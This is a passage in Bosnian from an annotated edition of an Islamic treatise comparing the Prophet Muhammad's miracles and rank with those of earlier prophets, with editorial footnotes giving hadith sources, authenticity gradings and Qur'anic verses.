28 Aludira na časni hadis, kojeg muhaddisi bilježe od Džabira ibn Semura, r.a., i koji glasi: Doista poznajem jedan kamen u Mekki koji me bijaše pozdravljao prije nego što sam poslan kao poslanik. Poznajem ga i danas. Hadis je vjerodostojan (sahih). Prenosi ga Džabir ibn Semure. Sljedeći muhaddisi su zabilježili dotični hadis u njegovim rivajetima: Ibn Ebi Šejbe u Musannefu (br. 31705); Taberani u El-Mudžem el-kebir (br. 1962, 1996); Darimi u Sunenu (br. 20); Ibn Hibban u Sahihu (br. 6482); Muslim u Sahihu (br. 6078); Ahmed u Musnedu (br. 20828, 20893); Bezzar u Musnedu (br. 4255); Bejheki u Delail en-nubuvve (br. 454); Ebu Tahir Muhallis u Mullisijjatima (br. 1780); Temam u Fevaidu (br. 753); Begavi u Šerh es-sunne (br. 3709) i dr.
29 Aludira na hadis Poslanika, s.a.v.s., koji glasi u jednoj od svojih verzija, koju bilježi Ibn Maddže u Sunenu od Abdullaha Ibn Abbasa, r.a., i Enesa ibn Malika, r.a: Vjerovjesnik. s.a.v.s., bijaše držao hutbe na jednom palminom panju. Kada je minber izrađen, prešao je na minber. Potom je panj počeo jecati sve dok ga mu Božiji poslanik, s.a.v.s., nije prišao i zagrlio ga, pa se umirio. Onda je Božiji poslanik, s.a.v.s., rekao: Da ga nisam zagrlio, jecao bi do Sudnjeg dana. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Abdullah ibn Abbas, Abdullah ibn Omer, Enes ibn Malik, Džabir ibn Abdullah, Ebu Seid Hudri, Omer ibn Hattab, Ummu Seleme, Aiša, Ubejj ibn Ka'b, Sehl ibn Sa'd, Burejde ibn Husajb. Idući pisci hadiskih knjiga su zabilježili spomenuti hadis u njegovim brojnim inačicama: Ibn Ebi Šejbe u Musannefu (br. 31746-31750), Musnedu (Muhammed ibn Ebi Šejbe, El-Musned , Dar El-Vetan, Rijad, 1997, br. 87); Tirmizi u Sunenu (br. 505, 3627); Nesai u Es-Sunen el-kubra (br. 1722), Sunenu (En-Nesai, Es-Sunen Es-Sugra, Mektebe El-Metbuat el-islamijje, Halep, 1986, br. 1396); Abdurrezak u Musannefu (br. 5654); Taberani u El-Mudžem el-evsat (br. 591, 1408, 2250, 3631, 5211, 5950, 7411), El-Mu'džem el-kebir (br. 5726, 5977, 12873, 19476) ; Abd ibn Humejd u Musnedu (br. 871, 1334); Ibn Madždže u Sunenu (br. 1414, 1415, 1417); Bejheki u Es-Sunen el-kubra (br. 5696, 5698-5700), Delail en-nubuvve (br. 820-834, 2315-2139), Ši'b el-iman (br. 136), Ma'rife es-sunen ve el-asar (br. 1740, 1741); Darimi u Sunenu (br. 31-42, 1603-1606); Ibn Hibban u Sahihu (br. 6506-6508); Buhari u Sahihu (br. 918, 3583-3585); Ebu Ja'la u Musnedu (br. 1067, 1068, 2177, 2756, 3384); Ahmed u Musnedu (br. 2236, 2237, 2400, 2401, 3430-3432, 13363, 14119, 14142, 14206, 14282, 14468, 21248, 21252, 21260); Ibn Mubarek u Musnedu (br. 48); Bezzar u Musnedu (br. 6676, 6994); Haris u Musnedu (br. 200); Šafija u Musnedu (Eš-Šafi'i, El-Musned, Dar El-Kutub el-ilmijje, Bejrut, br. 282, 283); Ruvejani u Musnedu (br. 1090); Tahavi u Šerh muškil el-asar (br. 4176-4196); Ibn Asakir u Mu'džemu (br. 1388); Ibn E'arabi u Mu'džemu (br. 1885, 1990, 2257); Fakihi u Fevaidu (br. 219); Adžurri u Šerijatu (1067-1071); Ebu Tahir u Muhallisijjatima (br. 1057, 3052, 3176); El-Lalikai u Šerhu (br. 1469-1478); Ebu Nuajm u Hilje el-evlija’ (sv. 9, str. 116); Ibn Abdulberr u Džami’ (Ibn Abdulberr, Džami’ bejan el-ilm ve fadlihi, Dar Ibn el-Dževzi, Rijad, 1999, br. 2383, 2384); Begavi u Šerh es-sunne (br. 3724); Tujuri u Tujurijjatima (Et-Tujuri, Et-Tujurijjat, Mektebe Edva’ es-selef, Rijad, 2004, br. 455) i dr.
11., 12. I 13. VID
11. Među njima jeste da postoje njegove mudžize koje su neimitativnije od mudžiza drugih, kao što je izviranje vode između njegovih prstiju.30 To je nadnaravnije od izviranja vode iz kamena, budući da kamenje spada u red onoga iz čega izbija voda. Stoga je njegova mudžiza izbijanja vode između prstiju ekstremnija od izbijanja vode iz kamena Musau, a.s.31
12. Među njima jeste da je Isa, a.s., iscijelio slijepca od rođenja sa očima koje su ostale na svome mjestu32, dok je Poslanik, s.a.v.s., vratio oči nakon što su iscurile na obraz.33 To je mudžiza iz dva razloga:
Prvi: Zacijelivanje očiju nakon što su iscurile.
Drugi: Povratak izgubljenog očinjeg vida.
13. Među njima jeste da je broj mrtvih koje je sa imanom (vjerovanjem) oživio iz kufra (nevjerovanja) veći nego što je Isa34 oživio tjelesnih života. Kasnije ćemo pojasniti tjelesni život i imanski život.35
OBRADA I KOMENTAR:
30Dotična mudžiza je spomenuta u brojnim hadisima koji govore o različitim situacijama u kojima je Poslaniku, s.a.v.s., potekla voda između prstiju. Jedan od najpoznatijih je sljedeći hadis, koji glasi u verziji koju bilježi Muslim u Sahihu od Enesa ibn Malika, r.a: Od Enesa ibn Malika da je Vjerovjesnik, s.a.v.s., zatražio posudu sa vodom, pa mu je donešena široka čaša, te je u nju stavio svoje prste. Veli Enes: “Počeh da gledam u vodu kako izvire između njegovih prstiju. Po mojoj procjeni abdestilo se između sedamdeset i osamdeset ljudi. Hadis je vjerodostojan (sahih). Spomenuti hadis, kao i slične hadise, prenose sljedeći ashabi: Abdullah ibn Mesud, Abdullah ibn Abbas, Enes ibn Malik, Ebu Hurejre, Ebu Seid Hudri, Džabir ibn Abdullah, Bera’ ibn Azib, Mugire ibn Šu'be, Alija ibn Ebu Talib, Ubade ibn Samit, Imran ibn Husajn, Ebu Lejla Ensari, Zijad ibn Haris Sudai, Hibban ibn Buhh Sudai, Seleme ibn Ekve’, Ebu Amre Ensari. Bilježe ih sljedeći muhaddisi: Ma'mer ibn Rašid u Džami’ (br. 20535, 20536); Tirmizi u Sunenu (br. 3631, 3633); Nesai u Es-Sunen el-kubra (br. 80, 81, 84), Sunenu (br. 76-79); Abdurrezzak u Musannefu (br. 20535, 20536); Taberani u El-Mu'džem el-kebir (br. 3576, 5292, 6435, 10036,), El-Mu'džem el-evsat (br. 63, 2732, 4215, 4987, 6848, 6954), El-Mu'džem es-sagir (Et-Taberani, El-Mu'džem es-sagir, El-Mekteb El-Islamijj, Bejrut, 1985, br. 458, 938); Abd ibn Humejd u Musnedu (br. 1363); Malik u Muvetti po rivajetu Jahje ibn Jahje Lejsija (br. 62); Bejheki u Es-Sunen el-kubra (br. 117-119, 191, 922, 1788), Es-Sunen es-sagir (El-Bejheki, Es-Sunen es-sagir, Džamia Ed-Dirasat el-islamijje, Karači, ¸1989, br. 89), Delail en-nubuvve (br. 1449-1465, 2256-2259, 2312), Ma'rife es-sunen ve el-asar (br. 592, 1502); Darekutni u Sunenu (Ed-Darekutni, Es-Sunen, Muessese Er-Risale, Bejrut, 2004, br. 221), Ru'je Allah (Ed-Darekutni, Ru'je Allah, 1990/91, Mektebe El-Mennar, Zerka, br. 168); Darimi u Sunenu (br. 25-30); Ibn Hibban u Sahihu (br. 6538-6547); Ibn Huzejme u Sahihu (Ibn Huzejme, Es-Sahih, El-Mekteb El-Islamijj, Bejrut, 1970, br. 124, 125, 144, 204); Buhari u Sahihu (br. 169, 200, 248, 3572-3576, 3579, 4152, 5639); Muslim u Sahihu (br. 6080-6083); Ebu Avane u Mustahredžu (br. 7197, 8130, 8131); Ebu Davud Tajalisi u Musnedu (br. 1835); Ebu Ja'la u Musnedu (br. 2759, 2895, 3036, 3172, 3193, 3327, 3329, 3757, 5372, 5373); Ahmed u Musnedu (br. 2268, 2989, 3807, 4393, 12348, 12497, 12694, 12727, 12742, 13266, 13595, 14081, 14522, 14806, 14933, 15877, 17536 ); Ibn Ebu Šejbe u Musannefu (br. 31722-21726), Musnedu (br. 370, 635); Bezzar u Musnedu (br. 1463, 1478, 4488, 5360, 6865, 6998, 7083); Haris u Musnedu (br. 598);Šafija u Musnedu (br. 50); Tahavi u Šerh muškil el-asar (br. 2472, 3380), Ibn Asakir u Mu'džemu (br. 131); Ebu Nuajm u Ma'rife es-sahabe (Ebu Nuajm,Ma'rife es-sahabe, Dar El-Vetan, Rijad, 1998, br. 2276, 2277, 3041), Hilje el-evlija’ (sv. 6, str. 293); Seid ibn Mensur u Et-Tefsir min es-Sunen (Seid ibn Mensur, Et-Tefsir min es-Sunen, Dar Es-Sumej'i, Rijad, 1997, br. 1087); Ibn Dža'd u Musnedu (br. 82); Fakihi u Ahbar Mekke (El-Fakihi, Ahbar Mekke, Dar Hidr, Bejrut, 1993/94, br. 1052);Ibn Ebu Asim u El-Ahad ve el-mesani (br. 2005); Dulabi u El-Kuna ve el-esma’ (br. 275); Šaši u Musnedu (br. 346-348); Ibn E'arabi u Mu'džemu (br. 534); Adžurri u Šerijatu (br. 1057-1059); Ibn Sunni u Amel el-jevm ve el-lejle (Ibn Es-Sunni, Amel el-jevm ve el-lejle, Muessese el-ulum el-Kur'an, Bejrut, br. 27); Ebu Šejh (Ebu eš-Šejh el-Asbehani, Zikr el-akran, Dar El-Kutub el-ilmijje, Bejrut, 1996 , br. 38); Ebu Bekr Ismaili u Mu'džemu (Ebu Bekr el-Ismaili, Mu'džem esami eš-šujuh, Mektebe El-Ulum ve el-hikem, Medina, 1990, br. 164); Dževheri u Musnedu Muvette (br. 274); Ebu Tahir Muhallis u Muhallisijjatima (br. 1229); Ibn Mende u Tevhidu (Ibn Mende, Et-Tevhid, Mektebe el-ulum ve el-hikem, Medina, 2002, br. 174, 175); Temam u Fevaidu (br. 1472); Lalikai u Šerhu (br. 1479-1482); Begavi u Šerh es-sunne (br. 256, 257, 3713-3715); Kadi-l-Maristan u Mešihi (br. 216); Tujuri u Tujurijjatima (br. 710) i dr.
31 Mudžiza izbijanja vode iz kamena Musau, a.s, spominje se u Kur'anu u dva ajeta: I kada je Musa za narod svoj vodu molio, Mi smo rekli: “Udari štapom svojim po stijeni!” – i iz nje je dvanaest vrela provrelo, i svako bratstvo je vrelo iz kojeg će piti znalo. “Jedite i pijte Allahove darove, i ne činite zlo po Zemlji nered praveći!” (El-Bekare, 60) I Mi smo ih na dvanaest rodova podijelili, i Musau smo objavili, kad mu je narod njegov vode zatražio: “Udari štapom svojim po stijeni!” – i iz nje je dvanaest vrela provrelo, svaki rod je znao vrelo iz kog će piti. (El-E'araf, 160)
32Isaova mudžiza iscjeljenja slijepca od rođenja se spominje u Kur'anu u dva ajeta: …”Donosim vam dokaz od Gospodara vašeg: napraviću vam od ilovače nešto poput ptice i puhnuću u nju, i biće, voljom Allahovom, prava ptica. I iscjeliću slijepa od rođenja, i gubava, i oživljavaću mrtve, voljom Allahovom, i kazivaću vam šta jedete i šta u domovima gomilate; to će, uistinu, biti dokaz za vas, ako pravi vjernici budete. (Alu Imran, 49) …I kada si, voljom Mojom, od blata nešto poput ptice napravio i u nju udahnuo i kada je ona, voljom Mojom, postala ptica; i kada si, voljom Mojom, od rođenja slijepa i gubavca iscijelio; i kada si, voljom Mojom, mrtve dizao… (El-Maide, 110)
33 Gorespomenuta mudžiza je zabilježena je u dva Poslanikova hadisa vezana za dva odvojena događaja, odnosno dvije mudžize vraćanja iscurjelog oka. Poznatiji od njih glasi: Od Katade ibn Nu'mana da bijaše pogođen u oko na dan Uhuda (dan Bedra prema dr. rivajetima), te mu je zjenica iscurila na obraz. Htjeli su da je prerežu, te su upitali Vjerovjesnika, s.a.v.s., na što im je on odrično odgovorio, pozvavši Katadu. Onda mu je dodirnuo zjenicu svojim dlanom tako da Katade nije znao u koje je oko bio pogođen. Hadis je vjerodostojan (sahih). Dotični hadis sa svim njegovim verzijama prenosi Katade ibn Nu'man, r.a., dok drugi hadis prenosi Fuvejk, r.a. Hadise bilježe idući pisci hadiskih zbirki: Ibn Ebu Šejbe u Musannefu (br. 32364, 36768); Hakim u Mustedreku (br. 5281); Bejheki u Delail en-nubuvve (br. 968, 1110-1114, 2422); Ebu Ja'ala u Musnedu (br. 1549); Ebu Avane u Mustahredžu (br. 6929); Ebu Nuajm u Ma'rife es-sahabe (br. 5184) i dr.
34U rukopisu izvornika greškom je riječ Isa ispuštena, te je samim tim smisao kazanog pokvaren.
35Tjelesni život i imanski život, ipak, nisu pojašnjeni kasnije. Budući da je djelo najverovatnije napisano spontano, neplanski, jedna ovakva greška ne treba da čudi.
14. VID
Među njima jeste da Uzvišeni Allah određuje za svakog vjerovjesnika nagradu shodno djelima, aktivnostima i riječima njegovog ummeta. Naime, Ummet Muhammeda, s.a.v.s., čini polovinu stanovnika Dženneta36.37 Uzvišeni Allah je obavijestio Muhammeda, s.a.v.s., da je njegov ummet najbolji ummet ljudi koji se ikada pojavio.38 Oni su najbolji ummet, jer se ističu znanjem, djelatnostima, riječima i djelima. Stoga, nema znanja niti djelatnosti niti ibadeta niti govora niti stvari kojom se približava Silnom i Uzvišenom Allahu, na koju je Allahov poslanik, s.a.v.s., uputio i pozvao da se čini, a da on neće imati nagradu onoga ko je čini do Sudnjeg dana.39 Inače, nijedan vjerovjesnik nije dostigao takav stepen.
Spomenuto je u hadisu: Čovječanstvo je ovisno o Allahu (Allahova porodica). Najdraži Njemu je onaj koji je najkorisniji svojoj porodici.40 Stoga, ako je Muhammed, s.a.v.s., koristio polovici stanovnika Dženneta, dok su drugi poslanici koristili samo jednom dijelu druge polovice, onda je njegov položaj u ibadetima na osnovu njegovog položaja u koristi. Dakle, ne postoji znalac iz njegovog ummeta, a da Muhammed, s.a.v.s., nema istu nagradu za njegovo znanje, niti postoji djelatnik iz njegovog ummeta, a da Muhammed, s.a.v.s., nema istu nagradu za njegovu djelatnost, niti postoji onaj ko govori, želeći se tim govorom približiti Allahu, Silnom i Uzvišenom, a da Muhammed, s.a.v.s., nema istu nagradu za njegov govor, niti postoji onaj ko učini neko djelo kojim se pribilžava Allahu, Silnom i Uzvišenom (namaz, zekat, oslobađanje roba, džihad, čestitost, dobročinstvo, zikr (spominjanje Allaha), oprost, prelazak preko grešaka i sl.), a da Muhammed, s.a.v.s, nema istu nagradu kao njegov činilac, niti postoji neki visoki stepen (deredžu) niti neki sjajan položaj kojeg je postigao neko iz Muhammedovog ummeta, njegovim savjetom i uputom, a da Muhammed, s.a.v.s., nema istu nagradu pridodatu njegovom stepenu i položaju. Ta se nagrada mnogostuko uvećava, pošto pripadnik njegovog ummeta koji poziva na Pravi put41 ili uvede lijep običaj42, ima nagradu onoga ko ga čini shodno broju činitelja. Tako se nagrada uvišestručuje za našeg Vjerovjesnika, s.a.v.s., jer je on uputio na dotični običaj i usmjerio ka njemu. Upravo radi toga Musa, a.s., plakaše u noći Israa od sreće, kojom se obradovao Vjerovjesnik, s.a.v.s, pošto će u Džennet ući više pripadnika njegovog ummeta, nego Musaovog ummeta.43 Dakle, Musa, a.s., nije plakao zbog zavisti, kako su uobrazile izvjesne neznalice, već je plakao iz žalosti za sličnim položajem koji ga je mimoišao.
OBRADA I KOMENTAR:
36 Tjelesni život i imanski život, ipak, nisu pojašnjeni kasnije. Budući da je djelo najverovatnije napisano spontano, neplanski, jedna ovakva greška ne treba da čudi.
37 Napomena: Treba naglasiti da ovaj hadis, u kome se kaže da ummet Muhammeda, s.a.v.s., čini dvije trećine stanovnika Dženneta, nije u kontradikciji sa prethodnim hadisom, u kome se kaže da ummet čini pola stanovnika Dženneta. Naime, ili je Božiji poslanik htio u ova naizgled oprečnadva hadisa preneseno značenje ukazujući da će n jegov ummet čini ogroman dio žitelja Džennneta ili je prvo izrekao hadis da čine polovinu Dženneta, pa onda hadis da čine dvije trećine Dženneta. Primjera za ovakvo naizgled razilaženje u brojevima ima dosta u hadisu Božijeg poslanika, s.a.v.s., kao na primjer: hadisi o vrijednosti namaza u džematu, hadisi o onima koji će ući u Džennet bez polaganja računa, hadisi o vrijednosti namaza u Ka'bi, Poslanikovoj džamiji i Aksa džamiji i dr. (Vidi detaljnije tumačenjima ova dva hadisa: En-Nevevi,Šerh ala Sahih Muslim, Dar El-Ihja’ et-turas el-arebijj, Bejrut, 1972, str. 95-96; El-Mulla Alijj el-Karijj, Mirkat el-mefatih šerh Miškat el-mesabih, Dar El-Fikr, Bejrut, 2002, sv. 8, str. str. 3518-3519).
38 Misli na početak 110. ajet iz sure Alu Imran koji glasi: Vi ste najbolji narod (ummet) od svih koji se ikada pojavio: tražite da se čine dobra djela, a od nevaljalih odvraćate, i u Allaha vjerujete.
39 Aludira na hadis Božijeg poslanika, s.a.v.s., koji u jednoj verziji, koju bilježi Muslim u Sahihu od , r.a., glasi: Ko uvede u islam lijep običaj, ima nagradu za njega, kao i nagradu onoga ko ga čini nakon njega, bez da se njima išta umanji nagrada… Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Ebu Hurejre, Enes ibn Malik, Huzejfe ibn Jeman, Džerir ibn Abdullah, Amr ibn Avf Muzeni, Bilal ibn Haris, Vasile ibn Eska’, Abdullah ibn Mesud. Prenosi se i od Omera ibn Abdulaziza među tabiinima. Bilježe ga idući muhaddisi: Ma'mer ibn Rašid u Džami’ (br. 21025); Ebu Davud Tajalisi u Musnedu (br. 705); Ibn Dža'd u Musnedu (br. 516); Humejdi u Musnedu (br. 824); Ibn Ebu Šejbe u Musannefu (br. 9802, 9804); Ahmed u Musnedu (br. 10556, 10749, 19156, 19174, 19183, 19200, 19202, 21082, 23289); Husejn ibn Harb u El-Birr ve es-sile (El-Husejn ibn Harb, El-Birr ve es-sile, Dar El-Vetan, Rijad, 1998, br. 330); Abd ibn Humejd u Musnedu (br. 289); Darimi u Sunenu (br. 529, 531); Muslim u Sahihu (br. 2398, 6975-6979); Ibn Madždže u Sunenu (br. 203, 204, 207, 209, 210); Tirmizi u Sunenu (br. 2675, 2677); Ibn Veddah u El-bide’ ve en-nehj anha (Ibn Veddah, El-bide’ ve en-nehj anha, Mektebe Ibn Tejmijje, Kairo, 1995/96, br. 93); Bezzar u Musnedu (br. 2963, 2964, 3385, 3386, 4208, 9866); Nesai u Sunenu (br. 2554), Es-Sunen el-kubra (br. 2346); Ebu Bekr ibn Hallal u Sunnetu (br. 23); Ibn Huzejme u Sahihu (br. 2477); Tahavi u Šerh muškil el-asar (br. 243, 244, 248-251, 1540-1542, 1548); Ibn Hibban u Sahihu (br. 3308); Taberani u El-Mu'džem el-evsat (br. 2656, 3693, 4386, 8946, 9439), El-Mu'džem el-kebir (br. 2313, 2314, 2375, 2376, 2438, 2443-2447, 18035), Musned Eš-Šamijjin (br. 2560, 2716); Ibn Šahin u Tergibu (Ibn Šahin, Et-Tergib fi fedail el-e'amal ve sevab zalike, Dar El-Kutub el-ilmijje, Bejrut, 2004, br. 221); Ibn Betta u El-Ibane el-kubra (Ibn Betta, El-Ibane el-kubra, Dar Er-Raje, Rijad, 1994-2005, dio 1, br. 51); Hakim u Mustedreku (br. 3906); Lalikai u Šerhu (br. 1-5, 7, 8); Ebu Nuajm u Musnedu (br. 2277); Bejheki u Es-Sunen es-sagir (br. 1247), Es-Sunen el-kubra (br. 7741, 7742); Šu'b el-iman (br. 3048-3050. 6609, 6610); Begavi u Šerh es-sunne (br. 110); Kadi-l-Maristan u Mešihi (br. 206); Ibn Asakir u Mu'džemu (br. 968) i dr.
40Spomenuti hadis je slab (daif) (Vidi ocjenu hadisa: Kavvam Es-Sunne, Et-Tergib ve et-terhib, Dar El-Hadis, Kairo, 1993, sv. 1, str. 134, br. 138; Ez-Zerkeši, Et-Tezkire fi ehadis el-muštehire, Dar El-Kutub el-ilmijje, Bejrut, 1986, str. 195; Nuruddin El-Hejsemi, Medžme’ ez-zevaid ve menbe’ el-fevaid, Mektebe El-Kudsijj, Kairo, 1994, sv. 8, str. 191, br. 13706-13707; El-Busiri, Ithaf el-hajere el-mehere bi zevaid el-mesanid el-ašere, Dar El-Vetan, Rijad, 1999, sv. 5, str. 522, br. 5169; Ibn Hadžer El-Askalani, El-Metalib el-alije bi zevaid el-mesanid es-semanije, Dar El-Asime, Rijad, 1998, sv. 5, str. 700, br. 977; Es-Sehavi,El-Mekasid el-hasene, Dar El-Kutub el-arebijj, Bejrut, 1985, sv. 1, str. 324-325, br. 443, str. 335, br. 462; Es-Sujuti, Ed-Durer el-muntesire fi ehadis el-muštehire, Imade šuun el-mektebat, Rijad, sv. 1, str. 112, br. 206; El-Hindavi, Kešf el-hafa’, El-Mektebe el-asrijje, Bejrut, 2000, sv. 1, str. 437-438, br. 1220; Muhammed ibn Muhammed Derviš, Esna el-metalib fi ehadis muhtelife el-meratib, Dar El-Kutub el-ilmijje, Bejrut, 1997, sv. 1, str. 138, br. 636). Prenose ga sljedeći ashabi: Aiša, Enes ibn Malik, Abdullah ibn Mesud. Bilježe ga sljedeći muhaddisi: Haris u Musnedu (br. 911); Bezzar u Musnedu (br. 6947); Ebu Ja'la u Musnedu (br. 3315, 3370, 3478); Šaši u Musnedu (br. 435); Taberani u El-Mu'džem el-evsat (br. 5541), El-Mu'džem el-kebir (br. 10053), Mekarim el-ahlak (Et-Taberani, Mekarim el-ahlak, Mektebe Edva’ es-selef, Rijad, 2004, br. 87, 210); Ebu Tahir Muhallis u Muhallisijjatima (br. 1763, 3143); Ebu Nuajm u Hilje el-evlija’ (sv. 2, str. 102, sv. 4, str. 237); Kadai u Musned Eš-Šihab (br. 1306); Bejheki u Šu'b el-iman (br. 7045-7048); Kadi-l-Maristan u Mešihi (br. 132, 133); Tujuri (br. 530, 531, 940) i dr.
Međutim, postoji hadis sa sličnim značenjem. On glasi u verziji koju prenosi Kadai u Musned Eš-Šihab od Džabira ibn Abdullaha, r.a:Najbolji su ljudi oni koji su najkorisniji ljudima. Ovaj hadis je dobar (hasen). Prenose ga sljedeći ashabi: Džabir ibn Abdullah, Abdullah ibn Omer, Omer ibn Hattab. Bilježe ga sljedeći muhaddisi: Taberani u El-Mu'džem el-kebir (br. 13680), El-Mu'džem el-evsat (br. 5787, 6026), El-Mu'džem es-sagir (br. 861); Kadai u Musned Eš-Šihab (br. 129, 1234) i dr.
41Aludira na hadis koji glasi u verziji koju bilježi Muslim u Sahihu od Ebu Hurejre, r.a: Ko poziva na Pravi put, ima istu nagradu kao nagrade onih koji ga slijede, bez da im to išta umanji njihove nagrade. Ko poziva na Krivi put, ima isti grijeh kao grijesi onih koji ga slijede, bez da im to išta umanji njihove grijehe. Hadis je vjerodostojan (sahih). Prenose ga sljedeći ashabi: Ebu Hurejre, Enes ibn Malik. Bilježe ga: Malik u Muvetti po rivajetu Jahje ibn Jahje Lejsija (br. 509); Ahmed u Musnedu (br. 9160); Darimi u Sunenu (br. 530); Muslim u Sahihu (br. 6980); Ibn Madždže u Sunenu (br. 205, 206); Ebu Davud u Sunenu (br. 4609); Tirmizi u Sunenu (br. 2674); Ibn Ebu Asim u Kitab es-sunne (br. 113); Bezzar u Musnedu (br. 8338); Ebu Ja'la u Musnedu (br. 6489); Ebu Avane u Mustahredžu (br. 5823); Ibn Hibban u Sahihu (br. 112); Taberani u El-Mu'džem el-kebir (br. 13395); Lalikai u Šerhu (br. 6); Begavi u Šerh es-sunne (br. 109) i dr.
42Upućuje na hadis koji smo obradili u istom vidu u bilješci br. 38.
43UpućujenaodređeneverzijehadisaoIsraaiMiradžuukojimasespominjeplač Musaa, a.s.. Hadis je vjerodostojan (sahih). Jedna od tih verzija, koju bilježi Buharija u Sahihu od Malika ibn Sa'sa'e glasi: …Ušaosam,kadtuMusa. “OvojeMusa, poselamiga”, rečeDžibril. Poselamio sam ga, pa mi je on uzvratio i rekao: “Dobro došao, dobri brate i dobri vjerovjesniče!” Nakon što sam prošao kraj njega, zaplakao je. “Šta te je rasplakalo?”, bi upitan. “Plačem, jer če mladić biti poslan poslije mene. U Džennet će ući više pripadnika njegovog ummeta nego što će ući iz mog ummeta”… Dotične verzije prenosi Malik ibn Sa'sa’ , r.a. Bilježe ih idući pisci: Ahmed u Musnedu (br. 17835); Buhari u Sahihu (br. 3887); Ebu Avane u Mustahredžu (br. 338); Ibn Hibban u Sahihu (br. 48, 1635); Ibn Mende u Imanu (br. 715-717); Begavi u Šerh es-sunne (br. 3752) i dr.
15. I 16. VID

15. Među njima jeste da je Uzvišeni Allah svakog vjerovjesnika poslao njegovom narodu posebno, dok je našeg vjerovjesnika Muhammeda, s.a.v.s., poslao džinnima i ljudima. Svaki vjerovjesnik ima nagradu za dostavu objave (teblig) svome ummetu, dok naš Vjerovjesnik, s.a.v.s., ima nagradu za dostavu objave svakome kome je poslan, nekad za izravno dostavljanje, a nekad za neizravno. Zbog toga ga Uzvišeni podsjeća na učinjeno dobro riječima: Da hoćemo, u svaki grad bismo poslali nekoga da opominje44. Podjeća ga na taj način da ako bi poslao u svaki grad nekoga da opominje, Božiji poslanik, s.a.v.s., bi dobio samo nagradu za opominjanje žitelja svoga grada.45
16. Među njima jeste da je Uzvišeni Allah razgovarao sa Musaom, a.s., na Sinaju46 i u Blagoslovljenoj dolini (El-Vadi el-mukaddes)47,48 dok je sa našim vjerovjesnikom, s.a.v.s., razgovarao kod Sidretu-l-Munteha49.50
OBRADA I KOMENTAR:
44 El-Furkan, 51.
45Treba naglasiti da gorespomenuti 51. ajet iz sure El-Furkan nije u oprečnosti sa 24. ajetom iz sure El-Fatir u kome se, između ostalog, kaže Nije bilo naroda kome nije došao onaj koji ga je opominjao, budući da se u ajetu iz sure El-Furkan misli na vrijeme poslanice Muhammeda, s.a.v.s., dok se u ajetu iz sure El-Fatir misli na davna vremena u kome su djelovali prijašnji poslanici, odnosno na vrijeme prije pojave posljednjeg Božijeg poslanika.
46Sinaj ili Sinajska gora je planina koja se na nalazi na istoimenom Sinajskom poluotoku u azijskom dijelu Egipta, u blizini grada Sveta Katarina. Najviši vrh iznosi 2285 m. Predstavlja drugi najveći vrh u Egiptu, odmah iza vrha obližnje planine Sveta Katarina (2629 m). Prema islamskoj tradiciji upravo na vrhu planine Sinaj Musa, a.s., je primio deset Božijih zapovijedi i razgovarao Bogom.
Sinaj se u Kur'anu spominje 7 puta u 7 ajeta. Pet puta samo kao Gora (arap. Et-Tur: Merjem, 52, Taha, 80, El-Kasas, 29, 46, Et-Tur, 1(, a dva puta kao Sinajska gora (arap. Tur Sinin: Et-Tin, 2; arap. Tur Sejna’: El-Mu'minun, 20). Ti ajeti glase: Mi smo ga s desne strane Tura zovnuli i Sebi ga približili da čuje riječi Naše. (Merjem, 52); O sinovi Israilovi, Mi smo vas od neprijatelja vašeg izbavili, i na desnu stranu Tura vas doveli, i manu i prepelice vam slali. (Taha, 80); I kad Musa ispuni ugovoreni rok i krenu sa čeljadi svojom, on ugleda vatru na jednoj strani brda. “Pričekajte!” – reče čeljadi svojoj -, ” vidio sam vatru, možda ću vam od nje kakvu vijest donijeti, ili zapaljenu glavnju, da se ogrijete.” (El-Kasas, 29); Ti nisi bio pored brda kad smo Musaa pozvali, ali Mi smo te poslali kao milost Gospodara tvoga da opominješ ljude kojima prije tebe nije došao niko ko bi ih opomenuo, da bi se opametili. (El-Kasas, 46); Tako Mi Gore. (Et-Tur, 1); Tako mi Sinajske gore. (Et-Tin, 2); I drvo koje na Sinajskoj gori raste, koje zejtin daje i začin je onima koji jedu. (El-Mu'minun, 20).
47 Blagoslovljena dolina, blagoslovljena dolina Tuva ili samo dolina Tuva je jedno od dva mjesta na kome je Musa, a.s., razgovarao sa Uzvišenim Allahom. Međutim, za razliku od Sinajske gore, tačno mjesto doline Tuva nije još utvrđeno.
Dolina Tuva se u Kur'anu spominje samo dva puta u dva ajeta. Ti ajeti glase: Ja sam, uistinu, Gospodar tvoj! Izuj, zato, obuću svoju, ti si, doista, u blagoslovljenoj dolini Tuva. (Taha, 12); Kad ga je Gospodar njegov u svetoj dolini Tuva zovnuo. (En-Naziat, 16).
48 Da je Musa, a.s., razgovarao sa Uzvišenim Allahom, spominje se na dosta mjesta u Kur'anu (već smo neka spomenuli prilikom govora o Sinaju i dolini Tuva). Takođe, za razgovor između Uzvišenog Allaha i Musaa, a.s., nalazimo spomen i u brojnim hadisima i predajama. Njih prenose sljedeći ashabi: Abdullah ibn Abbas, Abdullah ibn Mesud, Džabir ibn Abdullah, Ebu Hurejre, Ebu Seid Hudri, Enes ibn Malik, Ebu Musa Ešari, Omer ibn Hattab, Ebu Bekr Siddik, Huzejfe ibn Jeman, Amr ibn As, Hasan ibn Džundub. Bilježe ih sljedeći muhaddisi: Ma'mer ibn Rašid u Džami’ (br. 20067-20069); Ibn Betta u El-Ibane el-kubra (dio 1, br. 1378, 1379, 1384, 1608, dio 2, br. 471-489, 498); Tirmizi u Sunenu (br. 2134, 2434, 3616); Nesai u Es-Sunen el-kubra (br. 11130, 11131, 11186, 11286, 11318, 11326, 11329, 11433, 11443); Hakim u Mustedreku (br. 76, 3431, 4101, 8749); Taberani u Mu'džem el-sagir (br. 77), Mu'džem el-evsat (br. 8608), Mu'džem el-kebir (br. 1664), Musned Eš-Šamijjin (br. 1301, 3060, 3291); Taberi u Tehzib el-asar (br. 2776); Darimi u Sunenu (br. 48), Er-Redd ala El-Džehmijje (br. 13, 291, 293-295, 321, 387); Ebu Davud u Sunenu (br. 4701, 4702); Ibn Madždže u Sunenu (br. 80); Ibn Hibban u Sahihu (br. 6179, 6180, 6210, 6223, 6465, 6476); Buhari u Sahihu (br. 3409, 4476, 4712, 4738, 6565, 6614, 7410, 7510, 7515); Muslim u Sahihu (br. 495, 500, 501, 503); Ebu Ja'la u Musnedu (br. 56, 243, 1204, 1521, 1528, 2618, 3064, 4350, 4983, 6216, 6245); Bezzar u Musnedu (br. 76, 171-173, 2031, 2840, 6223, 8085, 8586, 